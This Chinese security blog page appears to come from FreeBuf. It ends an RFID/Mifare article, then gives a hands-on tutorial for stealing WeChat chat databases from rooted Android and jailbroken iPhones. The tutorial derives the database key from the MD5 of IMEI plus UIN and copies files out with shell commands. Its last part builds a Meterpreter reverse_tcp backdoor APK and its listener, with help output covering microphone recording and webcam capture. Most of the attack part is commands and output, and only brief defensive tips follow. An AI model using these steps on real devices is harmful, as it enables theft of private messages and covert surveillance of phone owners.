我们现实生活中也有真实存在的案例:2010年北京一卡通被爆存在漏洞,可随意修改卡内余额,个人猜测这里很有可能是通过利用mifare卡片的PRNG漏洞来实现的。2014年,国外安全研究员发现台湾铁路、公交系统的悠游卡(EasyCard)同样存在PRNG漏洞,可修改卡片余额,并向悠游卡公司反馈报告了这一漏洞:

Clipboard Image.png

0x05 系列文章

RFID Hacking:看我如何突破门禁潜入FreeBuf大本营

RFID Hacking②:PM3入门指南

RFID Hacking③ ProxMark3使用案例:嗅探银行闪付卡信息

0x06 Refer

Mifare Classic 1k – cracker les clefs et lire le tag avec Proxmark3

offensive-security.com : Cloning RFID Tags with Proxmark 3

RadioWar : Proxmark3使用案例

DefCon 23 HOW TO TRAIN YOUR RFID HACKING TOOLS

backtrack-linux.org : RFID Cooking with Mifare Classic

BlackHat 2013 USA RFID Hacking Live Free or RFID Hard

*本文作者:雪碧0xroot@漏洞盒子安全团队,转载须注明来自FreeBuf黑客与极客(FreeBuf.COM)

http://www.freebuf.com/articles/wireless/109151.html

移动安全:窃取微信聊天记录、Hacking Android with Metasploit

在这篇文章中我们将讨论如何窃取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。

(文章内容存在一定攻击性,目的在于普及终端安全知识、提高安全意识,如有非法使用,后果自负)

一:如何窃取Android、iPhone手机上的微信聊天记录?

0x00 条件:

安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机)

Apple设备越狱,安装OpenSSH插件

0x01 安卓:

很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。

安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。

Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg

图片1.png

首先通过FTP把文件down到本地:

图片2.png

以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db

图片3.png

用数据库管理器打开:提示加密或者不是数据库文件

图片4.png

这里可以用windows环境下的SQLite Database Browser浏览器打开:

图片5.png

 

提示输入密码:

图片6.png

那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。

微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种:

1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin;

2.通过抓取WEB版微信聊天的数据包获取到uin。

1.1 App 配置文件

find / -name “system_config_prefs.xml”

图片7.png

/data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml
cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin

Clipboard Image.png

<int name="default_uin" value="146****21" />

1.2 谷歌chrome浏览器登陆WEB版微信:

图片8.png

登陆后新建窗口并访问chrome://net-internals/#events

发送信息 抓包 find uin值

图片9.png

uin:146****21

图片10.png

通过上述两种方法找到的uin值是相同的。

安卓拨号界面输入*#06#获得手机IMEI码:354**********85

SIM值+uin值组合即为146****21354**********85

md5: http://www.spriteking.com/cmd5/ 左侧加密

Clipboard Image.png

得到32位小写md5值:a1edf9f5********************b5e5

取其前七位:a1edf9f输入到sql浏览器中,成功打开微信的数据库文件:

图片12.png

图片13.png

0x02 苹果:

Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件:

IMG_0716.JPG

iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。

在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。

find /var/mobile/Containers/Data -name "MM.sqlite" 

mkdir /cache
find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r  {}/../../ /cache

在越狱iOS窃取隐私可参考:帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息 一文

0x03 在安卓终端植入后门

3.1 实验环境

Kali Linux(Hack):192.168.31.213

Android(靶机):192.168.31.118

3.2生成后门文件:

cd Desktop
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.31.213 LPORT=443 R >0xroot.apk

Clipboard Image.png

3.3 运行metasploit控制台

msfconsole

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST 192.168.31.213
set LPORT 443
run

Clipboard Image.png

3.4 安装&运行后门App

Screenshot_2016-06-27-14-04-48.pngScreenshot_2016-06-28-15-50-59.png

后门能进行什么操作?我们来看看usage:

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    upload        Upload a file or directory

Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    ifconfig      Display interfaces
    ipconfig      Display interfaces
    portfwd       Forward a local port to a remote service
    route         View and modify the routing table

Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    execute       Execute a command
    getuid        Get the user that the server is running as
    ps            List running processes
    shell         Drop into a system command shell
    sysinfo       Gets information about the remote system, such as OS

Stdapi: Webcam Commands
=======================

    Command       Description
    -------       -----------
    record_mic    Record audio from the default microphone for X seconds
    webcam_list   List webcams
    webcam_snap   Take a snapshot from the specified webcam

record_mic 通过手机麦克风进行窃听、录音;

webcam_list 列出安卓设备的所有摄像头;

webcam_snap 通过摄像头进行偷拍…

等等

0x04 演示视频

http://v.qq.com/iframe/player.html?vid=e0309wvais4&tiny=0&auto=0

0x05 APK后门分析:

把apk放到apk分析工具(apkStudio、Bytecodeviewer)进行解包,我们来看看后门App的源码:

Clipboard Image.png

(apkStudio)

在smali/com/metasploit/stage/MainActivity.smali中我们可以找到后门服务器的ip端口配置:

1111.png

(apkStudio)

Clipboard Image.png

(Bytecodeviewer)

0x06 预防&安全建议

安卓:从可信来源下载应用程序,避免感染恶意程序;在移动充电桩充电前及时关闭USB调试。

苹果:越狱后及时修改root密码,避免使用默认密码、弱口令。

0x07 文中工具下载地址:

SQLite Database Browserhttp://pan.baidu.com/s/1nuWlDgd

SSHDroid:http://pan.baidu.com/s/1b6PBK6

0×08 参考&感谢

How To Decrypt WeChat EnMicroMsg.db Database?

Android微信数据导出

微信聊天记录分析

A look at WeChat security

https://gist.github.com/scturtle/7248017

帮女神修手机的意外发现:隐匿在iOS文件系统中的隐私信息

Hacking Android Smartphone Tutorial using Metasploit